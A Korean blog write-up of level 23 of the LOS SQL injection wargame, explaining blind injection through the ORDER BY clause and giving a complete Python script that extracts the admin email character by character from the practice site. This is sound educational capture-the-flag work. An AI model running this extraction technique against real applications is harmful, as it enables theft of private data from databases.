정보보안/웹 해킹

LOS(The Lord of the SQLI) 23 - HELL FIRE

MDIN1 2021. 2. 24. 14:50

23번 문제 HELL FIRE

 

23번 문제인 HELL FIRE다.

이 문제부터는 쿼리문 위에 뭔가가 새로 추가되며 이전과는 다른 문제처럼 보인다.

문제를 딱 봤을 때 UNION SQL INJECTION이 아닐까 추측했지만,

preg_match 함수를 통해 union 은 필터링되고 있으므로 아닌것 같고..

 

먼저 order 파라미터에 id를 넣어 보았다.

 

order = id

 

order=id 를 입력 시 id를 기준으로 정렬이 되며

 

 

order = score

 

order=score 를 입력 시 score를 기준으로 정렬이 된다.

 

그리고 문제를 해결하기 위한 if문을 보았을 때,

if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");

지금은 *****로 나와있는 admin의 email 주소를 알아내어 파라미터로 입력하면 문제가 해결될것 같다고 생각했으며

이 문제도 Blind SQL Injection 문제가 아닐까 생각하였다. 

 

이 문제를 풀기 위해 생각해낸 방법은

order by절에 if문을 이용해 참,거짓을 통해 Blind SQL Injection을 수행하는것이었다.

 

if(1=1,id,score)

 

조건식이 참일 경우 id를 기준으로 정렬되며 

조건식이 거짓일 경우 score를 기준으로 정렬되게 하여 문제를 해결하는 방법이다.

 

 

email의 길이 알아내기 - 1

if문에 조건식으로 id='admin' 과 length(email) 을 통해 email의 길이를 알아낸다.

 

 

 

admin의 email 길이는 28이라는 것을 알아냈고 

같은 방법으로 ascii 함수와 substr 함수를 이용한

BLIND SQL INJECTION을 통해 email 값을 알아내었다.

 

 

import requests

URL = 'https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php' # 자신의 los 4번 문제의 url 주소 수동 입력
cookies ={'PHPSESSID': '3593ffopdjull6qn00mro9kjq5'} # 자신의 los 세션값 수동 입력

ascii_range = []

for i in range(48,123):
    ascii_range.append(i)


# 패스워드의 길이를 찾는 함수
def find_len():
    email_len = 0
    while True:
        email_len += 1
        # url? 뒤에 추가될 값이 value
        value = "if(id='admin' and length(email)={}, 'id', 'score')#".format(email_len)
        parms={'order' : value}
        response = requests.get(URL, params=parms, cookies=cookies) # URL과 파라미터, 쿠키를 설정한 후 request를 보낸 뒤 돌아오는 response(응답값)를 저장
        if "<table border=1><tr><th>id</th><th>email</th><th>score</th><tr><td>admin</td><td>**************</td><td>200</td>" in response.text: # 받아온 응답값 텍스트 중 'Subquery returns'이 존재한다면 패스워드 길이 반환
            print("길이는", email_len, "입니다.")
            break
        print("Trying")

    return email_len

def find_email():
    email_len = find_len()
    flag=''
    for email_value in range(1,email_len+1):
        for ascii in ascii_range: # 아스키 코드값 48 ~ 122 -> 숫자, 알파벳, 특수문자 몇몇
            value = "if(id='admin' and ascii(substr(email,{},1))={},'id','score')#".format(email_value,ascii)
            parmas = {'order' :value }
            response = requests.get(URL, params=parmas, cookies=cookies)
            if "<table border=1><tr><th>id</th><th>email</th><th>score</th><tr><td>admin</td><td>**************</td><td>200</td>" in response.text:
                print("email의",email_value,"번째는",chr(ascii), '입니다.')
                flag += chr(ascii)
    print("pw는", flag, "입니다.")

find_email()

 

이번 문제의 스크립트는 이메일 문자열에 특수문자가 포함되어 있기 때문에 아스키 코드 범위를 

알파벳, 숫자만 지정하는게 아닌 특수문자까지 포함시켜야 한다.

 

 

 

 

 

스크립트 결과 일부
23번 문제 HELL FIRE Clear!